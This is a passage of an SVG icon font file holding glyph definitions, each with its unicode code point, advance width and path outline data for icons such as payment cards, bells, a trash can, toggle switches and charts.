q0 36 33 36q30 0 30 -36v-75zM765 7h29v68v67h-29v-16q-17 20 -43 20q-29 0 -48 -20t-19 -51t19 -51t48 -20q28 0 43 20v-17zM943 48q0 34 -47 40l-14 2q-23 4 -23 14q0 15 25 15q23 0 43 -11l12 24q-22 14 -55 14q-26 0 -41 -12t-15 -32q0 -33 47 -39l13 -2q24 -4 24 -14
q0 -17 -31 -17q-25 0 -45 14l-13 -23q25 -17 58 -17q29 0 45.5 12t16.5 32zM1073 14l-8 25q-13 -7 -26 -7q-19 0 -19 22v61h48v27h-48v41h-30v-41h-28v-27h28v-61q0 -50 47 -50q21 0 36 10zM1159 146q-29 0 -48 -20t-19 -51q0 -32 19.5 -51.5t49.5 -19.5q33 0 55 19l-14 22
q-18 -15 -39 -15q-34 0 -41 33h101v12q0 32 -18 51.5t-46 19.5zM1318 146q-23 0 -35 -20v16h-30v-135h30v76q0 35 29 35q10 0 18 -4l9 28q-9 4 -21 4zM1348 75q0 -31 19.5 -51t52.5 -20q29 0 48 16l-14 24q-18 -13 -35 -12q-18 0 -29.5 12t-11.5 31t11.5 31t29.5 12
q19 0 35 -12l14 24q-20 16 -48 16q-33 0 -52.5 -20t-19.5 -51zM1593 7h30v68v67h-30v-16q-15 20 -42 20q-29 0 -48.5 -20t-19.5 -51t19.5 -51t48.5 -20q28 0 42 20v-17zM1726 146q-23 0 -35 -20v16h-29v-135h29v76q0 35 29 35q10 0 18 -4l9 28q-8 4 -21 4zM1866 7h29v68v122
h-29v-71q-15 20 -43 20t-47.5 -20.5t-19.5 -50.5t19.5 -50.5t47.5 -20.5q29 0 43 20v-17zM1944 27l-2 -1h-3q-2 -1 -4 -3q-3 -1 -3 -4q-1 -2 -1 -6q0 -3 1 -5q0 -2 3 -4q2 -2 4 -3t5 -1q4 0 6 1q0 1 2 2l2 1q1 1 3 4q1 2 1 5q0 4 -1 6q-1 1 -3 4q0 1 -2 2l-2 1q-1 0 -3 0.5
t-3 0.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_467" unicode="&#xf1f2;" horiz-adv-x="2304" 
d="M313 759q0 -51 -36 -84q-29 -26 -89 -26h-17v220h17q61 0 89 -27q36 -31 36 -83zM2089 824q0 -52 -64 -52h-19v101h20q63 0 63 -49zM380 759q0 74 -50 120.5t-129 46.5h-95v-333h95q74 0 119 38q60 51 60 128zM410 593h65v333h-65v-333zM730 694q0 40 -20.5 62t-75.5 42
q-29 10 -39.5 19t-10.5 23q0 16 13.5 26.5t34.5 10.5q29 0 53 -27l34 44q-41 37 -98 37q-44 0 -74 -27.5t-30 -67.5q0 -35 18 -55.5t64 -36.5q37 -13 45 -19q19 -12 19 -34q0 -20 -14 -33.5t-36 -13.5q-48 0 -71 44l-42 -40q44 -64 115 -64q51 0 83 30.5t32 79.5zM1008 604
v77q-37 -37 -78 -37q-49 0 -80.5 32.5t-31.5 82.5q0 48 31.5 81.5t77.5 33.5q43 0 81 -38v77q-40 20 -80 20q-74 0 -125.5 -50.5t-51.5 -123.5t51 -123.5t125 -50.5q42 0 81 19zM2240 0v527q-65 -40 -144.5 -84t-237.5 -117t-329.5 -137.5t-417.5 -134.5t-504 -118h1569
q26 0 45 19t19 45zM1389 757q0 75 -53 128t-128 53t-128 -53t-53 -128t53 -128t128 -53t128 53t53 128zM1541 584l144 342h-71l-90 -224l-89 224h-71l142 -342h35zM1714 593h184v56h-119v90h115v56h-115v74h119v57h-184v-333zM2105 593h80l-105 140q76 16 76 94q0 47 -31 73
t-87 26h-97v-333h65v133h9zM2304 1274v-1268q0 -56 -38.5 -95t-93.5 -39h-2040q-55 0 -93.5 39t-38.5 95v1268q0 56 38.5 95t93.5 39h2040q55 0 93.5 -39t38.5 -95z" />
    <glyph glyph-name="f1f3" unicode="&#xf1f3;" horiz-adv-x="2304" 
d="M119 854h89l-45 108zM740 328l74 79l-70 79h-163v-49h142v-55h-142v-54h159zM898 406l99 -110v217zM1186 453q0 33 -40 33h-84v-69h83q41 0 41 36zM1475 457q0 29 -42 29h-82v-61h81q43 0 43 32zM1197 923q0 29 -42 29h-82v-60h81q43 0 43 31zM1656 854h89l-44 108z
M699 1009v-271h-66v212l-94 -212h-57l-94 212v-212h-132l-25 60h-135l-25 -60h-70l116 271h96l110 -257v257h106l85 -184l77 184h108zM1255 453q0 -20 -5.5 -35t-14 -25t-22.5 -16.5t-26 -10t-31.5 -4.5t-31.5 -1t-32.5 0.5t-29.5 0.5v-91h-126l-80 90l-83 -90h-256v271h260
l80 -89l82 89h207q109 0 109 -89zM964 794v-56h-217v271h217v-57h-152v-49h148v-55h-148v-54h152zM2304 235v-229q0 -55 -38.5 -94.5t-93.5 -39.5h-2040q-55 0 -93.5 39.5t-38.5 94.5v678h111l25 61h55l25 -61h218v46l19 -46h113l20 47v-47h541v99l10 1q10 0 10 -14v-86h279
v23q23 -12 55 -18t52.5 -6.5t63 0.5t51.5 1l25 61h56l25 -61h227v58l34 -58h182v378h-180v-44l-25 44h-185v-44l-23 44h-249q-69 0 -109 -22v22h-172v-22q-24 22 -73 22h-628l-43 -97l-43 97h-198v-44l-22 44h-169l-78 -179v391q0 55 38.5 94.5t93.5 39.5h2040
q55 0 93.5 -39.5t38.5 -94.5v-678h-120q-51 0 -81 -22v22h-177q-55 0 -78 -22v22h-316v-22q-31 22 -87 22h-209v-22q-23 22 -91 22h-234l-54 -58l-50 58h-349v-378h343l55 59l52 -59h211v89h21q59 0 90 13v-102h174v99h8q8 0 10 -2t2 -10v-87h529q57 0 88 24v-24h168
q60 0 95 17zM1546 469q0 -23 -12 -43t-34 -29q25 -9 34 -26t9 -46v-54h-65v45q0 33 -12 43.5t-46 10.5h-69v-99h-65v271h154q48 0 77 -15t29 -58zM1269 936q0 -24 -12.5 -44t-33.5 -29q26 -9 34.5 -25.5t8.5 -46.5v-53h-65q0 9 0.5 26.5t0 25t-3 18.5t-8.5 16t-17.5 8.5
t-29.5 3.5h-70v-98h-64v271l153 -1q49 0 78 -14.5t29 -57.5zM1798 327v-56h-216v271h216v-56h-151v-49h148v-55h-148v-54zM1372 1009v-271h-66v271h66zM2065 357q0 -86 -102 -86h-126v58h126q34 0 34 25q0 16 -17 21t-41.5 5t-49.5 3.5t-42 22.5t-17 55q0 39 26 60t66 21
h130v-57h-119q-36 0 -36 -25q0 -16 17.5 -20.5t42 -4t49 -2.5t42 -21.5t17.5 -54.5zM2304 407v-101q-24 -35 -88 -35h-125v58h125q33 0 33 25q0 13 -12.5 19t-31 5.5t-40 2t-40 8t-31 24t-12.5 48.5q0 39 26.5 60t66.5 21h129v-57h-118q-36 0 -36 -25q0 -20 29 -22t68.5 -5
t56.5 -26zM2139 1008v-270h-92l-122 203v-203h-132l-26 60h-134l-25 -60h-75q-129 0 -129 133q0 138 133 138h63v-59q-7 0 -28 1t-28.5 0.5t-23 -2t-21.5 -6.5t-14.5 -13.5t-11.5 -23t-3 -33.5q0 -38 13.5 -58t49.5 -20h29l92 213h97l109 -256v256h99l114 -188v188h66z" />
    <glyph glyph-name="_469" unicode="&#xf1f4;" horiz-adv-x="2304" 
d="M745 630q0 -37 -25.5 -61.5t-62.5 -24.5q-29 0 -46.5 16t-17.5 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM1530 779q0 -42 -22 -57t-66 -15l-32 -1l17 107q2 11 13 11h18q22 0 35 -2t25 -12.5t12 -30.5zM1881 630q0 -36 -25.5 -61t-61.5 -25q-29 0 -47 16
t-18 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM513 801q0 59 -38.5 85.5t-100.5 26.5h-160q-19 0 -21 -19l-65 -408q-1 -6 3 -11t10 -5h76q20 0 22 19l18 110q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM822 489l41 261q1 6 -3 11t-10 5h-76
q-14 0 -17 -33q-27 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q28 0 58 12t48 32q-4 -12 -4 -21q0 -16 13 -16h69q19 0 22 19zM1269 752q0 5 -4 9.5t-9 4.5h-77q-11 0 -18 -10l-106 -156l-44 150q-5 16 -22 16h-75q-5 0 -9 -4.5t-4 -9.5q0 -2 19.5 -59
t42 -123t23.5 -70q-82 -112 -82 -120q0 -13 13 -13h77q11 0 18 10l255 368q2 2 2 7zM1649 801q0 59 -38.5 85.5t-100.5 26.5h-159q-20 0 -22 -19l-65 -408q-1 -6 3 -11t10 -5h82q12 0 16 13l18 116q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM1958 489
l41 261q1 6 -3 11t-10 5h-76q-14 0 -17 -33q-26 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q29 0 59 12t47 32q0 -1 -2 -9t-2 -12q0 -16 13 -16h69q19 0 22 19zM2176 898v1q0 14 -13 14h-74q-11 0 -13 -11l-65 -416l-1 -2q0 -5 4 -9.5t10 -4.5h66
q19 0 21 19zM392 764q-5 -35 -26 -46t-60 -11l-33 -1l17 107q2 11 13 11h19q40 0 58 -11.5t12 -48.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_470" unicode="&#xf1f5;" horiz-adv-x="2304" 
d="M1597 633q0 -69 -21 -106q-19 -35 -52 -35q-23 0 -41 9v224q29 30 57 30q57 0 57 -122zM2035 669h-110q6 98 56 98q51 0 54 -98zM476 534q0 59 -33 91.5t-101 57.5q-36 13 -52 24t-16 25q0 26 38 26q58 0 124 -33l18 112q-67 32 -149 32q-77 0 -123 -38q-48 -39 -48 -109
q0 -58 32.5 -90.5t99.5 -56.5q39 -14 54.5 -25.5t15.5 -27.5q0 -31 -48 -31q-29 0 -70 12.5t-72 30.5l-18 -113q72 -41 168 -41q81 0 129 37q51 41 51 117zM771 749l19 111h-96v135l-129 -21l-18 -114l-46 -8l-17 -103h62v-219q0 -84 44 -120q38 -30 111 -30q32 0 79 11v118
q-32 -7 -44 -7q-42 0 -42 50v197h77zM1087 724v139q-15 3 -28 3q-32 0 -55.5 -16t-33.5 -46l-10 56h-131v-471h150v306q26 31 82 31q16 0 26 -2zM1124 389h150v471h-150v-471zM1746 638q0 122 -45 179q-40 52 -111 52q-64 0 -117 -56l-8 47h-132v-645l150 25v151
q36 -11 68 -11q83 0 134 56q61 65 61 202zM1278 986q0 33 -23 56t-56 23t-56 -23t-23 -56t23 -56.5t56 -23.5t56 23.5t23 56.5zM2176 629q0 113 -48 176q-50 64 -144 64q-96 0 -151.5 -66t-55.5 -180q0 -128 63 -188q55 -55 161 -55q101 0 160 40l-16 103q-57 -31 -128 -31
q-43 0 -63 19q-23 19 -28 66h248q2 14 2 52zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_471" unicode="&#xf1f6;" horiz-adv-x="2048" 
d="M1558 684q61 -356 298 -556q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5zM1024 -176q16 0 16 16t-16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5zM2026 1424q8 -10 7.5 -23.5t-10.5 -22.5
l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5
l418 363q10 8 23.5 7t21.5 -11z" />
    <glyph glyph-name="_472" unicode="&#xf1f7;" horiz-adv-x="2048" 
d="M1040 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM503 315l877 760q-42 88 -132.5 146.5t-223.5 58.5q-93 0 -169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -384 -137 -645zM1856 128
q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5l149 129h757q-166 187 -227 459l111 97q61 -356 298 -556zM1942 1520l84 -96q8 -10 7.5 -23.5t-10.5 -22.5l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161
q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5l418 363q10 8 23.5 7t21.5 -11z" />
    <glyph glyph-name="_473" unicode="&#xf1f8;" horiz-adv-x="1408" 
d="M512 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM768 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1024 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704
q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167
q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_474" unicode="&#xf1f9;" 
d="M1150 462v-109q0 -50 -36.5 -89t-94 -60.5t-118 -32.5t-117.5 -11q-205 0 -342.5 139t-137.5 346q0 203 136 339t339 136q34 0 75.5 -4.5t93 -18t92.5 -34t69 -56.5t28 -81v-109q0 -16 -16 -16h-118q-16 0 -16 16v70q0 43 -65.5 67.5t-137.5 24.5q-140 0 -228.5 -91.5
t-88.5 -237.5q0 -151 91.5 -249.5t233.5 -98.5q68 0 138 24t70 66v70q0 7 4.5 11.5t10.5 4.5h119q6 0 11 -4.5t5 -11.5zM768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5
t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_475" unicode="&#xf1fa;" 
d="M972 761q0 108 -53.5 169t-147.5 61q-63 0 -124 -30.5t-110 -84.5t-79.5 -137t-30.5 -180q0 -112 53.5 -173t150.5 -61q96 0 176 66.5t122.5 166t42.5 203.5zM1536 640q0 -111 -37 -197t-98.5 -135t-131.5 -74.5t-145 -27.5q-6 0 -15.5 -0.5t-16.5 -0.5q-95 0 -142 53
q-28 33 -33 83q-52 -66 -131.5 -110t-173.5 -44q-161 0 -249.5 95.5t-88.5 269.5q0 157 66 290t179 210.5t246 77.5q87 0 155 -35.5t106 -99.5l2 19l11 56q1 6 5.5 12t9.5 6h118q5 0 13 -11q5 -5 3 -16l-120 -614q-5 -24 -5 -48q0 -39 12.5 -52t44.5 -13q28 1 57 5.5t73 24
t77 50t57 89.5t24 137q0 292 -174 466t-466 174q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51q228 0 405 144q11 9 24 8t21 -12l41 -49q8 -12 7 -24q-2 -13 -12 -22q-102 -83 -227.5 -128t-258.5 -45q-156 0 -298 61
t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q344 0 556 -212t212 -556z" />
    <glyph glyph-name="_476" unicode="&#xf1fb;" horiz-adv-x="1792" 
d="M1698 1442q94 -94 94 -226.5t-94 -225.5l-225 -223l104 -104q10 -10 10 -23t-10 -23l-210 -210q-10 -10 -23 -10t-23 10l-105 105l-603 -603q-37 -37 -90 -37h-203l-256 -128l-64 64l128 256v203q0 53 37 90l603 603l-105 105q-10 10 -10 23t10 23l210 210q10 10 23 10
t23 -10l104 -104l223 225q93 94 225.5 94t226.5 -94zM512 64l576 576l-192 192l-576 -576v-192h192z" />
    <glyph glyph-name="f1fc" unicode="&#xf1fc;" horiz-adv-x="1792" 
d="M1615 1536q70 0 122.5 -46.5t52.5 -116.5q0 -63 -45 -151q-332 -629 -465 -752q-97 -91 -218 -91q-126 0 -216.5 92.5t-90.5 219.5q0 128 92 212l638 579q59 54 130 54zM706 502q39 -76 106.5 -130t150.5 -76l1 -71q4 -213 -129.5 -347t-348.5 -134q-123 0 -218 46.5
t-152.5 127.5t-86.5 183t-29 220q7 -5 41 -30t62 -44.5t59 -36.5t46 -17q41 0 55 37q25 66 57.5 112.5t69.5 76t88 47.5t103 25.5t125 10.5z" />
    <glyph glyph-name="_478" unicode="&#xf1fd;" horiz-adv-x="1792" 
d="M1792 128v-384h-1792v384q45 0 85 14t59 27.5t47 37.5q30 27 51.5 38t56.5 11q24 0 44 -7t31 -15t33 -27q29 -25 47 -38t58 -27t86 -14q45 0 85 14.5t58 27t48 37.5q21 19 32.5 27t31 15t43.5 7q35 0 56.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14t85 14t59 27.5
t47 37.5q30 27 51.5 38t56.5 11q34 0 55.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14zM1792 448v-192q-24 0 -44 7t-31 15t-33 27q-29 25 -47 38t-58 27t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-22 -19 -33 -27t-31 -15t-44 -7q-35 0 -56.5 11t-51.5 38q-29 25 -47 38
t-58 27t-86 14q-45 0 -85 -14.5t-58 -27t-48 -37.5q-21 -19 -32.5 -27t-31 -15t-43.5 -7q-35 0 -56.5 11t-51.5 38q-28 24 -47 37.5t-59 27.5t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-30 -27 -51.5 -38t-56.5 -11v192q0 80 56 136t136 56h64v448h256v-448h256v448h256v-448
h256v448h256v-448h64q80 0 136 -56t56 -136zM512 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1024 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5
q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1536 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150z" />
    <glyph glyph-name="_479" unicode="&#xf1fe;" horiz-adv-x="2048" 
d="M2048 0v-128h-2048v1536h128v-1408h1920zM1664 1024l256 -896h-1664v576l448 576l576 -576z" />
    <glyph glyph-name="_480" unicode="&#xf200;" horiz-adv-x="1792" 
d="M768 646l546 -546q-106 -108 -247.5 -168t-298.5 -60q-209 0 -385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103v-762zM955 640h773q0 -157 -60 -298.5t-168 -247.5zM1664 768h-768v768q209 0 385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_481" unicode="&#xf201;" horiz-adv-x="2048" 
d="M2048 0v-128h-2048v1536h128v-1408h1920zM1920 1248v-435q0 -21 -19.5 -29.5t-35.5 7.5l-121 121l-633 -633q-10 -10 -23 -10t-23 10l-233 233l-416 -416l-192 192l585 585q10 10 23 10t23 -10l233 -233l464 464l-121 121q-16 16 -7.5 35.5t29.5 19.5h435q14 0 23 -9
t9 -23z" />
    <glyph glyph-name="_482" unicode="&#xf202;" horiz-adv-x="1792" 
d="M1292 832q0 -6 10 -41q10 -29 25 -49.5t41 -34t44 -20t55 -16.5q325 -91 325 -332q0 -146 -105.5 -242.5t-254.5 -96.5q-59 0 -111.5 18.5t-91.5 45.5t-77 74.5t-63 87.5t-53.5 103.5t-43.5 103t-39.5 106.5t-35.5 95q-32 81 -61.5 133.5t-73.5 96.5t-104 64t-142 20
q-96 0 -183 -55.5t-138 -144.5t-51 -185q0 -160 106.5 -279.5t263.5 -119.5q177 0 258 95q56 63 83 116l84 -152q-15 -34 -44 -70l1 -1q-131 -152 -388 -152q-147 0 -269.5 79t-190.5 207.5t-68 274.5q0 105 43.5 206t116 176.5t172 121.5t204.5 46q87 0 159 -19t123.5 -50
t95 -80t72.5 -99t58.5 -117t50.5 -124.5t50 -130.5t55 -127q96 -200 233 -200q81 0 138.5 48.5t57.5 128.5q0 42 -19 72t-50.5 46t-72.5 31.5t-84.5 27t-87.5 34t-81 52t-65 82t-39 122.5q-3 16 -3 33q0 110 87.5 192t198.5 78q78 -3 120.5 -14.5t90.5 -53.5h-1
q12 -11 23 -24.5t26 -36t19 -27.5l-129 -99q-26 49 -54 70v1q-23 21 -97 21q-49 0 -84 -33t-35 -83z" />
    <glyph glyph-name="_483" unicode="&#xf203;" 
d="M1432 484q0 173 -234 239q-35 10 -53 16.5t-38 25t-29 46.5q0 2 -2 8.5t-3 12t-1 7.5q0 36 24.5 59.5t60.5 23.5q54 0 71 -15h-1q20 -15 39 -51l93 71q-39 54 -49 64q-33 29 -67.5 39t-85.5 10q-80 0 -142 -57.5t-62 -137.5q0 -7 2 -23q16 -96 64.5 -140t148.5 -73
q29 -8 49 -15.5t45 -21.5t38.5 -34.5t13.5 -46.5v-5q1 -58 -40.5 -93t-100.5 -35q-97 0 -167 144q-23 47 -51.5 121.5t-48 125.5t-54 110.5t-74 95.5t-103.5 60.5t-147 24.5q-101 0 -192 -56t-144 -148t-50 -192v-1q4 -108 50.5 -199t133.5 -147.5t196 -56.5q186 0 279 110
q20 27 31 51l-60 109q-42 -80 -99 -116t-146 -36q-115 0 -191 87t-76 204q0 105 82 189t186 84q112 0 170 -53.5t104 -172.5q8 -21 25.5 -68.5t28.5 -76.5t31.5 -74.5t38.5 -74t45.5 -62.5t55.5 -53.5t66 -33t80 -13.5q107 0 183 69.5t76 174.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_484" unicode="&#xf204;" horiz-adv-x="2048" 
d="M1152 640q0 104 -40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM1920 640q0 104 -40.5 198.5
t-109.5 163.5t-163.5 109.5t-198.5 40.5h-386q119 -90 188.5 -224t69.5 -288t-69.5 -288t-188.5 -224h386q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM2048 640q0 -130 -51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5
t-136.5 204t-51 248.5t51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5z" />
    <glyph glyph-name="_485" unicode="&#xf205;" horiz-adv-x="2048" 
d="M0 640q0 130 51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5t-51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5t-136.5 204t-51 248.5zM1408 128q104 0 198.5 40.5t163.5 109.5
t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5z" />
    <glyph glyph-name="_486" unicode="&#xf206;" horiz-adv-x="2304" 
d="M762 384h-314q-40 0 -57.5 35t6.5 67l188 251q-65 31 -137 31q-132 0 -226 -94t-94 -226t94 -226t226 -94q115 0 203 72.5t111 183.5zM576 512h186q-18 85 -75 148zM1056 512l288 384h-480l-99 -132q105 -103 126 -252h165zM2176 448q0 132 -94 226t-226 94
q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94t226 94t94 226zM2304 448q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 97 39.5 183.5t109.5 149.5l-65 98l-353 -469
q-18 -26 -51 -26h-197q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q114 0 215 -55l137 183h-224q-26 0 -45 19t-19 45t19 45t45 19h384v-128h435l-85 128h-222q-26 0 -45 19t-19 45t19 45t45 19h256q33 0 53 -28l267 -400
q91 44 192 44q185 0 316.5 -131.5t131.5 -316.5z" />
    <glyph glyph-name="_487" unicode="&#xf207;" 
d="M384 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1362 716l-72 384q-5 23 -22.5 37.5t-40.5 14.5
h-918q-23 0 -40.5 -14.5t-22.5 -37.5l-72 -384q-5 -30 14 -53t49 -23h1062q30 0 49 23t14 53zM1136 1328q0 20 -14 34t-34 14h-640q-20 0 -34 -14t-14 -34t14 -34t34 -14h640q20 0 34 14t14 34zM1536 603v-603h-128v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5v128h-768v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5v128h-128v603q0 112 25 223l103 454q9 78 97.5 137t230 89t312.5 30t312.5 -30t230 -89t97.5 -137l105 -454q23 -102 23 -223z" />
    <glyph glyph-name="_488" unicode="&#xf208;" horiz-adv-x="2048" 
d="M1463 704q0 -35 -25 -60.5t-61 -25.5h-702q-36 0 -61 25.5t-25 60.5t25 60.5t61 25.5h702q36 0 61 -25.5t25 -60.5zM1677 704q0 86 -23 170h-982q-36 0 -61 25t-25 60q0 36 25 61t61 25h908q-88 143 -235 227t-320 84q-177 0 -327.5 -87.5t-238 -237.5t-87.5 -327
q0 -86 23 -170h982q36 0 61 -25t25 -60q0 -36 -25 -61t-61 -25h-908q88 -143 235.5 -227t320.5 -84q132 0 253 51.5t208 139t139 208t52 253.5zM2048 959q0 -35 -25 -60t-61 -25h-131q17 -85 17 -170q0 -167 -65.5 -319.5t-175.5 -263t-262.5 -176t-319.5 -65.5
q-246 0 -448.5 133t-301.5 350h-189q-36 0 -61 25t-25 61q0 35 25 60t61 25h132q-17 85 -17 170q0 167 65.5 319.5t175.5 263t262.5 176t320.5 65.5q245 0 447.5 -133t301.5 -350h188q36 0 61 -25t25 -61z" />
    <glyph glyph-name="_489" unicode="&#xf209;" horiz-adv-x="1280" 
d="M953 1158l-114 -328l117 -21q165 451 165 518q0 56 -38 56q-57 0 -130 -225zM654 471l33 -88q37 42 71 67l-33 5.5t-38.5 7t-32.5 8.5zM362 1367q0 -98 159 -521q17 10 49 10q15 0 75 -5l-121 351q-75 220 -123 220q-19 0 -29 -17.5t-10 -37.5zM283 608q0 -36 51.5 -119
t117.5 -153t100 -70q14 0 25.5 13t11.5 27q0 24 -32 102q-13 32 -32 72t-47.5 89t-61.5 81t-62 32q-20 0 -45.5 -27t-25.5 -47zM125 273q0 -41 25 -104q59 -145 183.5 -227t281.5 -82q227 0 382 170q152 169 152 427q0 43 -1 67t-11.5 62t-30.5 56q-56 49 -211.5 75.5
t-270.5 26.5q-37 0 -49 -11q-12 -5 -12 -35q0 -34 21.5 -60t55.5 -40t77.5 -23.5t87.5 -11.5t85 -4t70 0h23q24 0 40 -19q15 -19 19 -55q-28 -28 -96 -54q-61 -22 -93 -46q-64 -46 -108.5 -114t-44.5 -137q0 -31 18.5 -88.5t18.5 -87.5l-3 -12q-4 -12 -4 -14
q-137 10 -146 216q-8 -2 -41 -2q2 -7 2 -21q0 -53 -40.5 -89.5t-94.5 -36.5q-82 0 -166.5 78t-84.5 159q0 34 33 67q52 -64 60 -76q77 -104 133 -104q12 0 26.5 8.5t14.5 20.5q0 34 -87.5 145t-116.5 111q-43 0 -70 -44.5t-27 -90.5zM11 264q0 101 42.5 163t136.5 88
q-28 74 -28 104q0 62 61 123t122 61q29 0 70 -15q-163 462 -163 567q0 80 41 130.5t119 50.5q131 0 325 -581q6 -17 8 -23q6 16 29 79.5t43.5 118.5t54 127.5t64.5 123t70.5 86.5t76.5 36q71 0 112 -49t41 -122q0 -108 -159 -550q61 -15 100.5 -46t58.5 -78t26 -93.5
t7 -110.5q0 -150 -47 -280t-132 -225t-211 -150t-278 -55q-111 0 -223 42q-149 57 -258 191.5t-109 286.5z" />
